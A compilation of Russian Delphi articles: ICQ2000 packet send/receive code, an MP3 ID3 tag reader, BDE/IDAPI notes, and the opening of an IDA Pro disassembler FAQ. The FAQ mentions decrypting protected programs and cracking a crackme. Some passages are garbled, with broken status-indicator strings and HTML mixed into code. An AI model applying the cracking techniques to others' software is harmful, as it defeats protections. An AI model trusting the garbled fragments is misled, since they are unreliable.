        move(sMess[1],buf[ind],length(sMess));inc(ind,length(sMess));
        // завершающий ноль
        PBYTE(@(buf[ind]))^:=0;inc(ind,1);
        // foreground color
        PLONG(@(buf[ind]))^:=dswap(GetColor(SendMemo,FG));inc(ind,4);
        // background color
        PLONG(@(buf[ind]))^:=dswap(GetColor(SendMemo,BG));inc(ind,4);
        // вписываем фактическую длину в TLV(5)
        PWORD(@(buf[2]))^:=swap(ind-4);
        // подсчитывем фактическую длину TLV(2711)
        x:=length(blok)+27+length(sMess)+9;
        // ... и вписывем ее
        PWORD(@(buf[indmem]))^:=swap(x);
        // пепеносим данные с buf в FLAP
        PacketAppend(tmp,@buf,ind);
        // ack request ? (запрос подтверждения)
        // TLV(3)-пустой
        PacketAppend32(tmp,dswap($00030000));
      end;
     false:
      g>begin // simple message
        // 0001 - simple
        PacketAppend16(tmp,swap($0001));
        // кому ?
        PacketAppendB_String(tmp,sUIN);
        // tlv(2)
        PacketAppend16(tmp,swap(2));
        // длина tlv(2)
        PacketAppend16(tmp,swap(13+length(sMess)));
        // 7 байт
        PacketAppend32(tmp,dswap($05010001));
        PacketAppend16(tmp,swap($0101));
        PacketAppend8(tmp,$01);
        // длина сообщения + 4
        PacketAppend16(tmp,swap(4+length(sMess)));
        // 4 байта = 0
        PacketAppend32(tmp,dswap($0));
        // сообщение
        PacketAppend(tmp,@(sMess[1]),length(sMess));
        // tlv(6) - пустой
        PacketAppend16(tmp,swap($0006));
        PacketAppend16(tmp,0);
      end;
     end;
     //case
     // посылаем пакет
     Form1.PacketSend(tmp);
     M(SendMemo,'Sending...');
     // пишем в журнал
     case MesFmtBox.Checked of
       // A - advanced
       true:  sTmp := '[A] ';
       // S - simple
       false: sTmp := '[S] ';
     end;
     // тут и так ясно
     sTmp := '->'+sTmp+DateTimeToStr(Now)+' '+
                  sNN+' ['+sUIN+']  "'+sMess+'"';
     M(Form1.Memo,sTmp);       Form1.LogMessage(sTmp);
     if MesFmtBox.Checked then begin
       // если advanced
       SendAnime.Active := true;
       SendMemo.Enabled := false;
       SendButton.Enabled := false;
       MesFmtBox.Enabled := false;
       // окно закроется только после получения
       // АСКов от сервера и от клиента (или вручную)
     end
     else
       // если simple, то окно сразу закрывается
       Close;
end;

Исходники Урока №2 здесь.

На следующей странице уделено внимание приему сообщений.

ICQ2000 сделай сам 9.

Статьи по Delphi (009)…
Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru
В реалмод я больше не писюн... не писюк... не писец...

Прием сообщений.

Все сообщения приходят в SNAC(4,07).

У него такой же формат, как и у SNAC(4,06). Поэтому стоит сразу комментировать код:

unit Main.pas;

procedure TForm1.SNAC_4_7(p:PPack); var i,cnt,T,MessageFormat,SubMode,SubMode2,Empty : word; {myUIN,} hisUIN : longint; SubType : array[0..3] of byte; MessageSubType : longint absolute SubType; tmp,tmp2,tmp3 : PPack; sTemp : string; dTemp : TByteArray; typemes, {subtypemes,} unk,modifier,lenmes : word; // для SNAC(4,0B)-подтверждения принятых advanced сообщений d1,d2 : longint; ACK : TByteArray; ind : word; NewMsg : PMsgItem; FG : array[0..3] of byte; BG : array[0..3] of byte; begin // сохраняем Cookie-1 и Cookie-2 d1:=PacketRead32(p); d2:=PacketRead32(p); // читаем формат сообщения MessageFormat := swap(PacketRead16(p)); // от кого ? sTemp := PacketReadB_String(p); // Cookie-1,Cookie-2 и некоторую другую часть пакета сохраним. // Эти данные необходимо включить в ACK на это сообщение ind:=0; PLONG(@(ACK[ind]))^:=d1; inc(ind,4); PLONG(@(ACK[ind]))^:=d2; inc(ind,4); PWORD(@(ACK[ind]))^:=swap(MessageFormat);inc(ind,2); PBYTE(@(ACK[ind]))^:=length(sTemp);inc(ind,1); MOVE(sTemp[1],ACK[ind],length(sTemp));inc(ind,length(sTemp)); PWORD(@(ACK[ind]))^:=swap($0003);inc(ind,2); // преобразуем его UIN из строки в longint try hisUIN := strtoint(sTemp); except hisUIN:=0; end; M(Memo,'< From: '+sTemp); PacketRead16(p); <font color="#000080"><em>// узнаем сколько всего TLV во входящем пакете</еm></fоnt> cnt := swap(PacketRead16(p)); <font color="#000080"><em>// читаем все эти TLV</em></font> <strong>for</strong> i:=1 <strong>to</strong> cnt <strong>do</strong> <font color="#000080"><em>// самый интересный - TLV(6)</em></font> <strong>if</strong> TLVReadStr(p,sTemp)=6 <strong>then</strong> <strong>begin</strong> <font color="#000080"><em>{ в TLV(6) - его статус }</em></font> <strong>end</strong>; <font color="#000080"><em>// анализируем каждый из форматов</еm></fоnt> <strong>case</strong> MessageFormat <strong>of</strong> $0001: <strong>begin</strong> M(Memo,'< Message-format:1 (SIMPLE)'); <font color="#000080"><em>// чтение TLV(2) в sTemp</em></font> TLVReadStr(p,sTemp); <font color="#000080"><em>// скопируем sTemp во временный PPack,</em></font> <font color="#000080"><em>// для удобства обработки</еm></fоnt> tmp := PacketNew; PacketAppend(tmp,@(sTemp[1]),length(sTemp)); PacketGoto(tmp,0); <font color="#000080"><em>// обработаем его</еm></fоnt> PacketRead16(tmp); PacketRead16(tmp); PacketRead8(tmp); PacketRead16(tmp); <font color="#000080"><em>// добрались до длины сообщения</еm></fоnt> lenmes := swap(PacketRead16(tmp))-4; PacketRead32(tmp); <font color="#000080"><em>// читаем сообщение в sTemp</em></font> PacketRead(tmp,@sTemp[1],lenmes); SetLength(sTemp,lenmes); <font color="#000080"><em>// анализ содержания сообщения</еm></fоnt> DoSimpleMsg(hisUIN,sTemp); <font color="#000080"><em>// удалим временный PPack</em></font> PacketDelete(tmp); <strong>end</strong>; $0002: <strong>begin</strong> M(Memo,'< Message-format:2 (ADVANCED)'); <font color="#000080"><em>// чтение TLV(5) в sTemp</em></font> TLVReadStr(p,sTemp); <font color="#000080"><em>// скопируем sTemp во временный PPack,</em></font> <font color="#000080"><em>// для удобства обработки</еm></fоnt> tmp := PacketNew; PacketAppend(tmp,@(sTemp[1]),length(sTemp)); PacketGoto(tmp,0); <font color="#000080"><em>// обработаем его</еm></fоnt> SubMode := swap(PacketRead16(tmp)); PacketRead32(tmp); PacketRead32(tmp); PacketRead(tmp,@dTemp,16); <strong>case</strong> SubMode <strong>of</strong> $0000: <strong>begin</strong> M(Memo,'SubMode: $0000 NORMAL'); TLVReadWord(tmp,SubMode2); <font color="#000080"><em>// TLV(F) - пустой</еm></fоnt> TLVReadWord(tmp,Empty); <font color="#000080"><em>// прием и анализ TLV(2711)</em></font> T := TLVReadStr(tmp,sTemp); <strong>if</strong> T=$2711 <strong>then</strong> <strong>begin</strong> <font color="#000080"><em>// сохраняем кусок данных для АСКа</еm></fоnt> MOVE(sTemp[1],ACK[ind],47);inc(ind,47); PLONG(@(ACK[ind]))^:=0; inc(ind,4); <font color="#000080"><em>// используем временный PPack</em></font> tmp2 := PacketNew; PacketAppend(tmp2,@(sTemp[1]),length(sTemp)); PacketGoto(tmp2,0); PacketRead(tmp2,@dTemp,26); PacketRead8(tmp2); PacketRead16(tmp2); PacketRead16(tmp2); PacketRead16(tmp2); PacketRead(tmp2,@dTemp,12); <font color="#000080"><em>// читаем ТИП сообщения</еm></fоnt> typemes := PacketRead8(tmp2); <font color="#000080"><em>{subtypemes := }</em></font>PacketRead8(tmp2); unk:=swap(PacketRead16(tmp2)); modifier:=swap(PacketRead16(tmp2)); M(Memo,'Unk: $'+inttohex(unk,4)); M(Memo,'Modifier: $'+inttohex(modifier,4)); <font color="#000080"><em>// длина сообщения</еm></fоnt> lenmes := PacketRead16(tmp2); <font color="#000080"><em>// анализ сообщения</еm></fоnt> NewMsg:=DoMsg(true,typemes, lenmes,PCharArray(@(tmp2^.data[tmp2^.cursor])), hisUIN,Now2DateTime); <font color="#000080"><em>// небольшая перемотка</еm></fоnt> PacketGoto(tmp2,(tmp2^.cursor)+lenmes); <font color="#000080"><em>// читаем Foreground и Background Colors</em></font> PacketRead(tmp2,@FG,4); PacketRead(tmp2,@BG,4); <strong>if</strong> NewMsg<><strong>nil</strong> <strong>then</strong> <strong>begin</strong> NewMsg^.FG:='$00'+inttohex(FG[2],2)+ inttohex(FG[1],2)+ inttohex(FG[0],2); NewMsg^.BG:='$00'+inttohex(BG[2],2)+ inttohex(BG[1],2)+ inttohex(BG[0],2); <strong>end</strong>; <font color="#000080"><em>// удаление временного PPack</em></font> PacketDelete(tmp2); <font color="#000080"><em>// дозаполнение ACK</em></font> PWORD(@(ACK[ind]))^:= 1; inc(ind,2); PBYTE(@(ACK[ind]))^:= 0; inc(ind,1); PLONG(@(ACK[ind]))^:= 0; inc(ind,4); PLONG(@(ACK[ind]))^:=-1; inc(ind,4); <font color="#000080"><em>// посылка АСКа</еm></fоnt> tmp3 := CreatePacket($2,SEQ); SNACAppend(tmp3,$4,$0B); PacketAppend(tmp3,@ACK[0],ind); PacketSend(tmp3); <strong>end</strong>; <font color="#000080"><em>// Submode:$0000</em></font> <strong>end</strong>; $0001: M(Memo,'SubMode:$0001 ??? message canceled ???'); $0002: M(Memo,'SubMode:$0002 FILE-ACK'); <font color="#000080"><em>// case SubMode</em></font> <strong>end</strong>; PacketDelete(tmp); <strong>end</strong>; $0004: <strong>begin</strong> M(Memo,'< Message-format:4 '+ '(url or contacts or auth-req or userAddedYou)'); TLVReadStr(p,sTemp); tmp := PacketNew; PacketAppend(tmp,@(sTemp[1]),length(sTemp)); PacketGoto(tmp,0); hisUIN := PacketRead32(tmp); typemes := PacketRead8(tmp); <font color="#000080"><em>{subtypemes := }</em></font> PacketRead8(tmp); lenmes := PacketRead16(tmp); DoMsg(true,typemes, lenmes,PCharArray(@(tmp^.data[tmp^.cursor])), hisUIN,Now2DateTime); PacketDelete(tmp); <strong>end</strong>; <strong>else</strong> M(Memo,'< ??? SNAC 4,7; Message-format: '+s(MessageFormat)); <font color="#000080"><em>// case MessageFormat</em></font> <strong>end</strong>; <strong>end</strong>; </pre> </td></tr></table><br> <p> продолжение следует ... </p> <!-- end -->

Просмотр и редактирование тэга ID3 (MP3).

Автор: Павел

Тэг ID3 содержит информацию о композиции: исполнитель, жанр и т.п. Этот кусок информации содержится в последних 128 байтах файла. Начинается тэг словом "TAG". Его может и не быть, если тэг удален или не был заполнен при создании. Однако его всегда можно добавить. Тэг ID3 имеет следующий формат:

type
  TID3Rec = packed record
    Tag: array[0..2] of Char;
    Title,
      Artist,
      Comment,
      Album: array[0..29] of Char;
    Year: array[0..3] of Char;
    Genre: Byte;
  end;

Как видно, жанр кодируется всего байтом, поэтому нужно следующее описание для декодирования этой информации:

const
  MaxID3Genre = 147;
  ID3Genre: array[0..MaxID3Genre] of string = (
    'Blues', 'Classic Rock', 'Country', 'Dance',
    ...
    'Synthpop' {возможно, список будет расширен}
    );

Для чтения тэга ID3 служит процедура FillID3TagInformation:

procedure FillID3TagInformation(mp3File: string; Title, Artist,
  Album, Year, Genre, Comment: TEdit);
var
  ID3: TID3Rec;
  fmp3: TFileStream;
begin
  fmp3 := TFileStream.Create(mp3File, fmOpenRead);
  try
    fmp3.position := fmp3.size - 128;
    fmp3.Read(ID3, SizeOf(ID3));
  finally
    fmp3.free;
  end;
  if ID3.Tag <> 'TAG' then
  begin
    Title.Text := 'Wrong or no ID3 tag information';
    Artist.Text := 'Wrong or no ID3 tag information';
    Album.Text := 'Wrong or no ID3 tag information';
    Year.Text := 'Wrong or no ID3 tag information';
    Genre.Text := 'Wrong or no ID3 tag information';
    Comment.Text := 'Wrong or no ID3 tag information';
  end
  else
  begin
    Title.Text := ID3.Title;
    Artist.Text := ID3.Artist;
    Album.Text := ID3.Album;
    Year.Text := ID3.Year;
    if ID3.Genre in [0..MaxID3Genre] then
      Genre.Text := ID3Genre[ID3.Genre]
    else
      Genre.Text := IntToStr(ID3.Genre);
    Comment.Text := ID3.Comment
  end;
end;
Этот код использует объект TFileStream для доступа к тэгу ID3. После открытия файла указатель устанавливается на позицию EndOfFile-128. Если в этой позиции найдено слово "TAG", информация копируется в соответствующие поля редактирования, иначе эти поля заполняются сообщениями по умолчанию.

Вот, пожалуй, и все. Запись тэга ID3 предлагается к самостоятельному изучению - пусть хоть что-то напишется вашими руками.

Проверка наличия IDAPI.

unit Findbde;
interface
implementation
uses
  Controls, SysUtils, WinTypes, WinProcs, Dialogs;
var
  IdapiPath: array[0..255] of Char;
  IdapiHandle: THandle;
initialization
  GetProfileString('IDAPI', 'DLLPath', 'C:\', IdapiPath, 255);
  {следующие строки "изолируют" первый путь к каталогу
  из IdapiPath в случае, если их несколько}
  if Pos(';', StrPas(IdapiPath)) <> 0 then
  begin
    StrPCopy(IdapiPath, Copy(StrPas(IdapiPath), 1,
      Pred(Pos(';', StrPas(IdapiPath)))));
  end;
  IdapiHandle := LoadLibrary(StrCat(IdapiPath, '\IDAPI01.DLL'));
  if IdapiHandle < HINSTANCE_ERROR then
  begin
    if MessageDlg('ОШИБКА: Borland Database Engine (IDAPI) не найдена' +
      'перед следующей попыткой ее необходимо установить....',
      mtError, [mbOK], 0) = mrOK then
      Halt
  end
    { IDAPI в системе не установлена }
  else
  begin
    FreeLibrary(IdapiHandle);
    { IDAPI Установлена в системе }
  end;
end.

Конфликт IDAPI German и English.

Автор: Walter Schell Я просто установил DtopicsP v1.20 и DtopicsD (03-29-96). При запуске dtopics.exe возникает ошибка DB-Error $3E05 ('cannot load driver') (не могу загрузить драйвер). Я нашел ответ в German Borland Forum. Ошибка происходит, если установлен German BDE. В этом случае в систему устанавливается вместо IDR10009.DLL (который присутствует в английской версии) файл IDR10007.DLL. После установки данного файла в каталог IDAPI все заработало как часы.

Это означает, что приложения, разработанные под English Delphi не будут работать под German или French Delphi.

Ограничения IDAPI.

Автор: Reinhard Kalinke Приведенный текст является цитатой из документа Borland TI2751, Jan 23rd, 1995:

Вот ТЕКУЩИЕ максимальные ограничения для некоторых общих объектов IDAPI. В следующей версии они могут быть другими.

48          // Максимальное число клиентов в системе
32          // Максимальное число сеансов для клиента
32          // Максимальное число открытых баз данных для сессии
32          // Максимальное число загруженных драйверов
64          // Максимальное число сеансов для системы
4000        // Максимальное число курсоров для сессии
100         // Максимальное число паролей для сессии
16          // Максимальное число входов в стеке ошибок
127         // Максимальное число блокировок данного типа в данной таблице
            // BLOB дескрипторов на курсор
            
Paradox: максимально (16, в различное время два BLOB-поля
           таблицы)
dBASE: в различное время два BLOB-поля 
           таблицы

Часто задаваемые вопросы по дизассемблеру IDA Pro.

Автор: Крис Касперски Основопологающее введение Существует по крайней мере два подхода к изучению программ - трассировка и дизассембли- рование. Несмотря на многие преимущества методов отладки, только дизассемблирование способно дать хорошо документированный листинг программы, понять механизм взаимодействия различных ее ветвей и возможность, внеся изменение, рекомпилировать продукт. Однако, по отдельности отладчик и дизассемблер все же малоэффективны для серьезных задач, что бы об этом ни говорили. Мне пришлось разрабатывать методы экстремально быстрого анализа сложных продуктов в сжа- тые сроки. Последним из достаточно крупных дизассемблированных мной проектов была «Вирусная Энциклопедия» Е.Касперского. Целью дизассемблирования было понять взаимодействие последней с данными (файлы .hlp и .dem) для написания собственной оболочки. Весь проект у меня занял не более трех дней. Чтобы уложиться в этот срок отладчиком перехватывались вызовы функций открытия\чте- ния\позиционирования файлов, после чего заданные фрагменты дизассемблировались; с помощью листинга изучалась «грубая» логика на уровне взаимодействий различных ветвей кода, а детали и тонко- сти уточнялись под отладчиком. И так повторялось до тех пор, пока структура файлов не стала очевид- ной. Именно связка дизассемблер+отладчик позволяет в рекордно короткие сроки анализировать мно- гомегабайтные файлы. Остановимся же на дизассемблере. Дизассемблеры бывают двух видов - пакетные и интерактивные. В первом случае анализ производится автоматически на основе выбранных настроек, во втором можно контролировать весь процесс дизассемблирования. К пакетным относится SOURCER, к интерактивным IDA Pro, hiew. Пакетные дизассемблеры обычно проще в управлении, но имеют ряд врожденных ограничений, в том числе и уязвимость даже против простых защит и антиотладочных приемов. Поэто- му пакетные дизассемблеры мы рассматривать не будем. Простейший из интерактивных дизассемб- леров это hiew. Им идеально вскрываются компактные защиты и анализируются программы, размером не более десятка килобайт. IDA Pro это единственный в своем роде и уникальный инструмент, сочетаю- щий в себе не только мощное интерактивное дизассемблирование, но и обеспечивающий очень удоб- ную навигацию по анализируемому файлу. Возможности инструмента фантастические. Очень печаль- но, конечно, что столь мощный инструмент применяется чаще всего для замены пары байт и поиска нужного кода среди перекрестных ссылок. Не последней причиной того явилось отсутствие у IDA Pro какой-либо документации, кроме контекстной помощи на английском языке. Я надеюсь, что данное описание поможет раскрыть истинные глубины возможностей этого инструмента и побудит исследователей к творчеству, выходящему за рамки подмены пары байт в чу- жом коде. Данное описание относится к версии 3.64 (32-bit MS DOS) той, которая на данный момент есть у меня. Версия для Windows будет описана в другой раз, так как отладка под DOS и Windows име- ет разную идеологию и требует разных навыков для работы. Описание тематически делится на три не- зависимых раздела. В первом будет описан интерфейс IDA Pro, во втором сам механизм дизассемблирования и последний будет посвящен внутреннему языку. Установка Первый вопрос, возникающий при установке IDA Pro это: «где ее взять?» По адресу http:// serv.unibest.ru/~ig/index.html расположена страничка поддержки IDA Pro, с которой можно скачать самую последнюю версию (на момент написания материала это была 3.8), а также свободно распространяемые предыдущие версии, несколько полезных утилит и примеров использования встроенного языка. Версия 3.6 занимает 11 мегабайт, а более поздняя версия не может быть скопиро- вана автором из-за плохой связи и временно не рассматривается..2 В комплект поставки IDA Pro 3.6 входят три самостоятельные версии для разных операционных сис- тем: w OS/2 w Win32 w MS DOS Все относящееся к OS/2 в данном описании не рассматривается. Версии для DOS и Windows являют- ся консольными приложениями Win32 поэтому в «чистом» DOS™е ни одна из них работать не будет. Установка, как обычно проходит полностью автоматически и никаких проблем не вызывает. Интерфейс Первые компьютеры, с которыми я столкнулся, не были достаточно мощными, чтобы поддерживать графический интерфейс и общались с пользователем посредством простейшей командной строки. Может быть этим объясняется моя маниакальная любовь к командной строке и зеленым-по-черному экрану. Поддержка IDA Pro командной строки явилась одной из причин безоговорочного выбора ее, как очевидной платформы. Взаимодействие только посредством систем меню у меня всегда вызывало раздражение. Говорят «язык определят мышление» и это правильно. Командная строка учит абстрактному мыш- лению и дает возможность формулировать и выражать свои мысли. Перемещать мышь по коврику, все равно что жестикулировать; визуальное взаимодействие по типу «нажал на кнопку - получил ба- нан» способствует развитию плоского мышления и, кроме того, просто пошло. Но богатство IDA Pro не ограничивается командной строкой. IDA Pro имеет мощный встроенный Си- подобный язык программирования из которого доступен почти весь API последней. Фактически мы можем забыть про всю иерархию меню и общаться с IDA Pro посредством командного режима. Пос- леднее не шутка, а совершенно серьезное руководство к действию. Это дает безграничные просторы для Вашей фантазии и творчества. Более того, скрипты IDA Pro освобождают от рутиной работы, позво- ляя перечислить все необходимые действия и записать их в файл (про макросы я, конечно, помню, но это все же не то). Слабое место всех дизассемблеров это шифрованный или самомодифицирующийся код. SOURCER в этом случае выплевывает километры бессмысленных дампов, над которыми потом приходится си- деть с карандашом и бумагой. Hiew, поддерживающий интерпретируемую систему дешифрования, был первой, насколько мне известно, удачной попыткой решения этой проблемы. Однако, его слава просто меркнет в лучах потрясающих возможностей IDA Pro. Скажу сразу, для дизассемблеров подобные возможности нетипичны, но очень удобны. В IDA Pro имеется возможность дешифровки программы с помощью встроенного языка и последующего дизассемблирования расшифрованных фрагментов. Более того, модифицировав «пару байт», можно на том же встроенном языке обратно зашифровать файл! Удивительно, но о последнем или не знают, или не акцентируют внимание и, по-моему, зря. Писать Си-подобные скрипты в IDA Pro куда удобнее, чем «вживую» резать в hiew файл и при каждой ошибке все переделывать. Возможности языка IDA Pro дают возможность писать даже атакующие неизвестный шифр скрипты. Одну тренировочную программу [crackme], закрытую шифром Вермана я легко расшифровал в IDA Pro подбором пароля (атакой по открытому тексту (типа 0x21CD)) и тут же дизассемблировал. На все это ушло ровно семь минут. Я думаю, что главное отличие программистов «старой» и «новой» школы в разных подходах к решению поставленной задачи. «Старики» аналитически разбивают задачу на множество локальных подзадач, которые потом выражают через имеющийся в их расположении сервис. Сегодня программист сразу с головой зарывается в SDK в поиске «так, что тут у нас подходит?» отводя алгоритмизацию на второй план. Отсюда шаблонные безвкусные программы и деградирующий в плане оптимизации код. Такое мышление иногда называют «сценарическим». Сценарий в свою очередь это простейшая, часто линей- ная программа, поочередно вызывающая ряд функций. (Типичные сценарии - это .bat файлы). Заме- чу, что в Windows исчез командный язык, поэтому даже такая простая задача, как вывод оглавления каталога в файл стала неразрешимой..3 Одним из главных элементов интерфейса IDA Pro является «рабочий стол» или в терминологии IDA Pro «Окно сообщений». Сюда выводится вся информация, генерируемая IDA Pro или пользовательски- ми скриптами. Рабочий стол выполнен по типу телетайпа, что вызывает ностальгию по «старым боль- шим машинам». Замечу, что оконный интерфейс все же берет свое и «телетайп» можно прокручивать вверх и вниз, что очень удобно и дает возможность просматривать строки, скрывшиеся за верхней гра- ницей экрана. Кроме этого имеется очень удобная возможность ведения протокола. Для этого необхо- димо в окружение добавить новую переменную IDALOG=logfile Это просто незаменимо для тех «кли- нических» случаев, когда Ваш скрипт выводит на Рабочий Стол десятки килобайт информации,в которых разобраться скромными средствами навигации окна сообщений становится очень затруднительно. Са- мая верхняя строка - строка статуса выглядит следующим образом: в AU:-idle- READY 00:30:25 Содержимое пунктов меню мы рассмотрим позднее, а пока обратим внимание на правую часть строки статуса. Стрелка, направленная вниз задает направление поиска. Прямое направление «сверху- вниз» устанавливается по умолчанию, но его можно изменить на обратное, нажав «Tab», или с помо- щью встроенной функции Direction(1\0); для этого необходимо нажать Ctrl-F2 и ввести (с соблюдени- ем регистра!) Direction(0). Логично, что Direction(1) задет прямое направление. Очень приятно, что все «горячие» клавиши можно переназначать. Для этого необходимо открыть в редакторе файл ida.cfg и найти секцию «Keyboard hotkey definitions». Ее структура очевидна - для каждого Идентификатора указывается соответствующая комбинация клавиш. В дальнейшем я буду всегда приводить прототипы всех функций, т.к. каким бы маньяком меня не считали, но я привык их набирать из командной строки, что рекомендую и другим. В самом деле, набрать команду можно и вслепую, а для выбора пункта меню нужно сфокусировать на нем внимание. Горячие клавиши проблемы не решают, т.к. труднее запоминаются и число «эргономичных» комбинаций весь- ма ограничено. Правее индикатора направления находится индикатор АвтоАнализа. К самому АвтоАнализу мы вернемся немного позднее, а пока рассмотрим возможные состояния индикатора. Что означает буква iзU1ч в аббревиатуре я так и не смог понять, не написано об этом и в справочной системе програм- мы, функционально это индикатор, отображающий состояние автоанализа. Возможных состояний все- го два: w iо-idle-1з - АвтоАнализ завершен; w iнdisаь1е1а - АвтоАнализ заблокирован. Заблокировать автоматический анализ можно как из командной стоки DOS (ключ -a), так и командой встроенного языка Analysis. Альтернативно это можно сделать через Меню Options\Background analysis... Абревиатура iбАС1и расшифровывается как «Анализ Кода» и справа указывается текущий ли- нейный адрес. iдРL1. - «PLanned» данный адрес невозможно дизассемблировать и он пропущен. ip@1у - Текущий адрес помечен как iаиnехр1огеd1в (неисследованный). Обычно так помечаются данные, тип которых IDA Pro распознать не в состоянии. Кроме этого имеется один недокументированный индикатор iоРR1у о назначении которого я смутно догадываюсь, но в 3.6 версии он видимо недокументирован. Интересно, как обстоят дела с последующими версиями? Если индикатор Вас раздражает, то его мож- но выключить через команду AutoShow (long autoshow); горячих клавиш для этих действий не предусмотрено, но ввиду экзотичности (и бесполезности) самих операций это неудобств, как правило не вызывает. Загрузка Дизассемблирование любого файла начинается с его загрузки. Несмотря на то, что в большинстве случаев она проходит полностью автоматически, благодаря умению IDA Pro грамотно распознавать и корректно работать с большинством форматов файлов, на практике у исследователя не редки случаи, когда файл необходимо загрузить вручную. Это в первую очередь относится к дампам различных об- ластей памяти, диска, выполняемого кода. В качестве нестандартного примера давайте дизассемблируем главный загрузочный сектор. Запи- шем его в файл mbr.bin. Автоматически IDA Pro загрузит файл с базовым адресом равным нулю, что изменит все смещения и рано или поздно заведет нас в дебри (BIOS грузит MBR в память по адресу.4 0x7C00). Автоматический загрузчик IDA Pro не может знать по какому адресу в памяти должен распо- лагаться данный дамп, поэтому нам придется сделать это самостоятельно. Задать базовое смещение можно из диалога, появляющегося при загрузке, или из командной строки. Но если Вы теперь попыта- етесь это сделать, то IDA Pro сообщит: «Can™t use these switches with the old file» [использование суще- ствующей базы с таким ключом невозможно]. Поэтому прежнюю базу придется удалить. Это нетруд- но сделать вручную, но в пакетном режиме гораздо удобнее использовать специальный ключ -c, кото- рый автоматически удаляет существующие базы без раздражающих запросов и остановок. Обратите внимание, что отсутствие подтверждения может очень дорого стоить, т.к. вся ваша работа будет нео- братимо уничтожена! Но в нашем случае база не содержит никакой полезной информации и, безбо- лезненно расставшись с ней, мы можем внести новые значения в диалог загрузки. i.Loading segmentlg - это базовый адрес сегмента. Организация памяти в IDA Pro напоминает вирту- альную память 386+ - каждый сегмент (селектор) имеет базовый адрес, который на начальном этапе освоения IDA Pro можно никак не учитывать, но он позднее нам пригодится для работы со скиптами. Кроме того можно в любой момент дозагрузить любой файл по произвольному адресу, что очень удобно, например, при «склеивании» дампов, снятых с разных фрагментов файла. iрLоаding offsetln задает начальное смещение для первого элемента загружаемого файла (эквивален- тно директиве ORG в языке макроассемблера). В нашем случае это смещение равно 0x7C00. По умолчанию IDA Pro создает сегменты. Тут необходимо заметить, что ядро IDA Pro устроено так, что все API дизассемблера может работать только с сегментами. Если мы их запретим, то дизассемб- лирование станет невозможным, но это не помешает работе с загруженным образом файла посред- ством командного языка. Обычно этот режим применяется для работы с полностью криптованными файлами или файлами данных. Аналогичную функцию выполняет ключ -x командной строки, но в на- шем примере запрещать создание сегментов мы не будем. Теперь, пока отрабатывает загрузка и анализ файла, мы вернемся к опциям командной строки. IDA Pro поддерживает множество различных процессорных платформ, но сама, разумеется не может их автоматически определить. Выбираемый по умолчанию процессор можно установить через команду консоли SetPrcsr (char processor) или с помощью кнопи Change processor. В одной и той же линейке процессор может быть перевыбран в любой момент анализа, что само по себе очень приятно, но выб- рать другое семейство процессоров после загрузки уже будет невозможно. Поэтому его необходи- мо задать в командной строке. Для этого существует ключ -p####, где #### символьный код процессора. Поскольку все коды указаны во встроенной помощи, то я здесь их не привожу. Регистр, в котором набираются символы не учитывается, поэтому команды -pz80 и -pZ80 будут эквивалентны. Те же символьные коды используются и в SetPrcst, но напоминаю, что последняя не способна менять се- мейство процессоров во время анализа. Ключ -b#### позволяет задавать уже упоминавшийся базовый адрес загрузки. По умолчанию он равен 0x1000 и на начальном этапе освоения IDA Pro нет никаких причин для его изменения. Интересно, что в версии 3.6 отсутствует поверка его границ и «увлекшись» можно получить аварийное завершение программы из-за их нарушения. Впрочем, я не интересовался как с этим обстоит в других версиях, поскольку эта ошибка не критична и крайне маловероятна..5 Для изучения заголовка MS DOS PE файлов, можно использовать ключ -n, хотя в нем очень редко бывает что-то достойное внимания, поэтому большей частью эта возможность останется невостребо- ванной. Но всегда приятнее иметь в резерве, чем в критической ситуации лихорадочно искать необхо- димый инструментарий. К этой же категории можно отнести ключ -d, который активизирует отладочный режим. При этом на консоль будет выводится некоторая отладочная информация. Это, возможно, полезно для автора IDA Pro, а для остальных информация будет большей частью неинтересна. Ключ -f запрещает инструкции математического сопроцессора и в данном описания не рассматрива- ется. Во второй части математическому сопроцессору будет посвящена отдельная глава. Мышь можно отключить ключом -м. Для загрузки и автоматического выполнения скипта можно использовать ключ -s filename.idc. Того же эффекта можно добиться, если переименовать файл в ida.idc, который IDA Pro всегда загружает и исполняет (если он существует). Недостаток обоих этих методов в том, что нельзя автоматически ис- полнить несколько файлов. На практике же такая необходимость, к сожалению, встречается достаточ- но часто. Поэтому гораздо удобнее загружать скипты в интерактивном режиме через «IDC file...F2». Небольшие скипы удобнее набирать непосредственно с консоли, вызываемой Shift-F2, но они к сожале- нию не сохраняются при выходе из IDA Pro. Конфигурация Кроме командной строки, конфигурацией IDA Pro можно управлять посредством конфигурацион- ных файлов. Это настолько мощный, гибкий и удобный сервис, что его рассмотрим отдельной главой. Все конфигурационные файлы полностью текстовые и представляют собой набор инструкций и оп- ределений для препроцессора в стиле языка Си. Также можно использовать комментарии и включае- мые файлы. Таких файлов два. ida.cfg - управляющий собственно конфигурацией и idc.idc - описыва- ющий прототипы встроенных функций. IDA Pro так же автоматически подключает файл idauser.cfg, но об этом чуть позднее. Все файлы снабжены подробными комментариями, поэтому разобраться с ними будет не трудно. Конфигурационный файл ida.cfg исполняется в два этапа. Первый проход отрабатывает сразу, как только IDA Pro будет загружена. В этой секции расширения файлов ассоциируются с типом процессо- ра, определяются некоторые рабочие настройки IDA Pro, раскладка «горячих клавиш» и спецификации для конкретных OS. Первая секция начинается с директивы препроцессора «#ifdef ____» и заканчивается «#else». Воз- можно, по умолчанию, таблица ассоциаций расширенний файлов с типом процессора «DEFAULT_PRO- CESSOR» задана не самым оптимальным образом и может быть легко изменена. В моей версии по умолчанию для .com файлов был задан процессор 8086. На практике же большинство .com файлов используют инструкции более поздних процессоров, поэтому рекомендую установить 80386r. Секция конфигурации памяти позволяет изменить выделяемую для разных нужд память. DATABASE_MEMORY определяет сколько памяти в байтах отводится под имена, строки, перекрестные ссылки и т.д. По умолчанию это значение равно нулю. При этом объем выделяемой IDA Pro памяти равен учетверенной длине загруженного файла, но не менее 128 кб. Для уже дизассемблированного файла выделяемый объем равен размеру базы. VPAGESIZE (размер виртуальной страницы) по умолчанию равен 4096 байт. С его ростом увеличива- ется скорость работы, но так же все больше и больше теряеться памяти. Особенно актуальным размер используемой памяти будет в том случае, если запрошенный объем превысит ресурсы установленной физической памяти - начнется активная работа с временным файлом Windows на диске. Размер вир- туальной станицы должен представлять собой степень двойки. VPAGES задает размер виртуальной памяти в страницах. По умолчанию он равен нулю, при этом IDA Pro в соответствии с размером страниц выделяет память аналогично DATABASE_MEMORY. Замечу, что эти настойки без достаточной на то нужды лучше не менять, т.к. они выбраны достаточно оптималь- но..6 Секция 